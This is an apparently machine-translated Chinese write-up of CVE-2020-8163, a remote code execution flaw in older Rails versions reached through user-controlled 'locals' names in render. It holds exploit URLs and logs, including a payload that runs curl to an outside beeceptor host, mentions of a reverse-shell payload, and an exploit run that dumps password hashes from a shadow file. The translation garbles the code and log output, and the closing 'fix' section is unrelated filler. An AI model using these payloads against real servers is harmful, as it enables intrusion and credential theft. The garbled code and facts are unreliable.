漏洞描述
這是5.0.1之前版本的Rails中的一個程式碼注入漏洞,允許攻擊者控制「render」呼叫的「locals」參數來執行RCE。風險等級
高風險影響版本
- 旅遊版本: Rails version < 5.0.1 & < 4.2.11.2
- 不相容版本:允許使用者控制應用程式的本機名稱
漏洞分析
Rails 有一個叫做渲染的 API,它可以讓開發人員選擇哪些範本來渲染內容。另外,還可以傳遞一個本地傳入,將更多變數傳遞給模板本身,傳遞本地變數方便擴充模板的靈活度,製作更強大。
該bug存在於Rails版本< 5.0.1 and < 4.2.11.2,而這個bug的實際罪魁禍首位於ActionView!
下列eval程式碼將導致local_assigns物件解構賦值
1 2 3 4 | def locals_code #:nodoc: # 雙重賦值以抑制可怕的「已指派但未使用的變數」警告 @locals.each_with_object( '' ) { |key, code|程式碼 << “#{key} = #{key} = local_assigns[:#{key}];” }結尾 |
這意味著可以預期地控製程式碼上下文下進行評估的部分
- \rails-4.2.11.1\actionview\lib\action_view\template.rb
1 2 3 4 5 6 7 8 9 10 11 12 13 14 | def編譯(mod) #:nodoc: 編碼! method_name = self.method_name 代碼 = @handler.call(self) # 確保要評估的結果字串採用程式碼的編碼source = <<- end_src def #{method_name}(local_assigns, output_buffer) _old_virtual_path, @virtual_path = @virtual_path, #{@virtual_path.inspect };_old_output_buffer; {locals_code};#{code} 確保 @virtual_path, @output_buffer = _old_virtual_path, _old_output_buffer end end_src |
然而,這並不是那麼容易實現的,這就是為什麼它被稱為“部分 RCE”
如所見,可以控制的部分剛好位於一個長表達式的中間,它涉及到模板片段的連接。困難部分。
1 | http://…/?locals[@TEST@] |
1 | http://…/?locals[`curl linqb.free.beeceptor.com/backup`%0A%23] |
因此,如果模板是空模板,那麼RCE就很容易實現
漏洞復現
- 官方下載(rails v4.2.11.1)
- 環境:Ubuntu 18.04.6 LTS + Rails v4.2.11.1 + ruby 2.5.1
- CVE-2020-8163 - Rails 中使用者提供的本機名稱的遠端程式碼執行
- CVE-2020-8163 的環境和利用 Rails < 5.0.1 和 < 4.2.11.2 中使用者提供的本地名稱的盲遠端程式碼執行
- python CVE-2020-8163 exp
1 2 3 4 5 6 7 8 9 10 | root@DESKTOP-2HA9GOI:/mnt/d/1.recent-research/ruby/CVE-2020-8163-master/testapp # cd testapp root@DESKTOP-2HA9GOI:/mnt/d/1.recent-research/ruby/ CVE-2020-8163-master/testapp # 捆綁安裝 root@DESKTOP-2HA9GOI:/mnt/d/1.recent-research/ruby/CVE-2020-8163-master/testapp #rails s => 啟動 WEBrick => Rails 4.2.11.1 應用程式在 http://localhost:3000 上開始開發= > 執行 `rails server -h`以取得更多啟動選項 => Ctrl-C 關閉伺服器 [2023-04-15 02:44:41] INFO WEBrick 1.4.2 [2023-04-15 02:44:41] 訊息 ruby 2.5.1 (2018-03-29) [x86_64-linux-gnu] [2023-04-15 02:44:41]資訊WEBrick:: HTTPServer #start: pid=8210 連接埠=3000 |
- 有效載荷2(反彈殼)
- Rails 5.0.1 - 遠端程式碼執行
- 有效載荷3
- CVE-2020-8163 - Rails 中使用者提供的本機名稱的遠端程式碼執行
- 有效載荷4
- cve-2020-8163 python exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 3 25 23543 31 4346 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 | root@DESKTOP-2HA9GOI:/mnt/d/1.recent-research/ruby/CVE-2020-8163-master # ruby-exploit1.rb http://localhost:3000/main/index「id」 ruby:警告:shebang以 \r 結尾的行可能會導致問題 [*] 將有效負載送到 http://localhost:3000/main/index http://localhost:3000/main/index?[system('id' )end%00] [ *] 成功的 RCE root@DESKTOP-2HA9GOI:/mnt/d/1.recent-research/ruby/CVE-2020-8163-master # python2 cve-2020-8163.py [*] - CVE-2020-8163 - 遠端Rails名稱本機中< 5.0.1 <!DOCTYPE html> <html> < head > <title>App</title> < link rel= "stylesheet" media= " all " href = " / assets /main.self-e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855.css?body=1" datadata-turbos-trackrack:" / o mrackun p = s . application .self-e80e8f23180 43e8af94dddc2adad5a4f09739a8ebb323b3ab31cd71d45fd9113.css? 0a622e80342adf488fb6006d667e8b42e4c0073393abee.js?body=1" data - turbolinks - track = " true" > </script> <腳本 src= “ /assets/jquery_ujs.self-a6375ab2b275439c922ac52b02a475d288976458aa11a6e8103c925ef2961f66 。 ets/turbolinks .self-569 ee74eaa15c1e2019317ff770b8769b1ec033a0f572a485f64c82ddc8f989e.js? 3aba4e3e309a11d7f2612f44dde450b5c157aa5f95c05.js ? body= 1 " data - turbolinks- track= "true" ></script > <腳本src = “/assets/application.self-3b8dabdc891efe46b9a144b400ad69e37d7e5876bdc39dee783419a69d7ca819。js?body=1" data-turbolinks-track= "true" ></script> <meta name= "csrf-param" content= "authenticity_token" /> <meta name= "csrf-token" content= "gSDrhhzFjxej04mcuFjDgyIWNEJJPxPxJPhhzFjxej04mcuFjDgyIWNEJJPxPxJPncuFjx Y/tlcbkFf1JhJNEmeTsEMTuc8FRjskJpwR5MBnNA==" /> </head> <body> <h1>Main #index</h1> <p>在app/views/main/index.html.erb 找到我</p> 根:$6$GdoEA3yt $lkzbTTwqBQQJEC2mwvbwxh5 /X/W1rCeGVaZL8Uz42xq3/vYzJyOvt6OvGL6qwUv.rYURZixrwdjLsyHmGIKot:19499:19491909190919091909:9091909:909 99:7::: 垃圾箱 :*:19121:0 :99999: 7::: 系統:*: 19121:0 :99999 : 7::: 同步 :*:19121:0:99999:7:::遊戲:*:19121:0:99999:7::: 人:*: 19121 :0:99999:7::: lp:*:19121:0:99999:7::: 郵件:*:19121:0:99999:7::: 新聞:*:19121:0:99999 :7: :: uucp: *:19121:0:99999:7:::代理 :*:19121:0:99999:7::: www-data:*:19121:0:99999:7::: 備份:*: 19121 :0:99999:7:::列表:*:19121:0 :99999:7::: irc:*:19121:0:99999:7::: 蚊蟲:*:19121:0:999999 :7: :: 沒人 :*:19121 :0:99999:7::: systemd-network:*:19121:0:99999:7::: systemd-resolve:*:19121:0:99999:7: :: 系統日誌: * :19121:0:99999:7:::訊息匯流排:*:19121 :0:99999:7::: _apt:*:19121:0:99999:7::: lxd:*: 19121:0:99999: 7::: uuidd:*:19121 : 0:99999:7::: dnsmasq:*:19121:0:9999:7::: 景觀:*:19121:0:99999:7: :: sshd:*: 19121:0:99999:7::: 授粉:*:19121:0:99999:7::: luci18:$6$LZaJkFRv $0NjZpXXL /iuBCqm8isV9mg0dCUHxJPQVEJW 7zU WcA8sfY8Yo.:19420:0:99999:7: :: mysql:!:19461 :0:99999:7::: </正文> </html> |
修復修復
這個項目非常簡單。總結
「密鑰必須是 32 位元」報錯當使用Ruby 2.4 + Rails 5.0.0.1時就會發生這種情況。
供參考,Rails 5.0.1已經修復了CVE-2020-8163。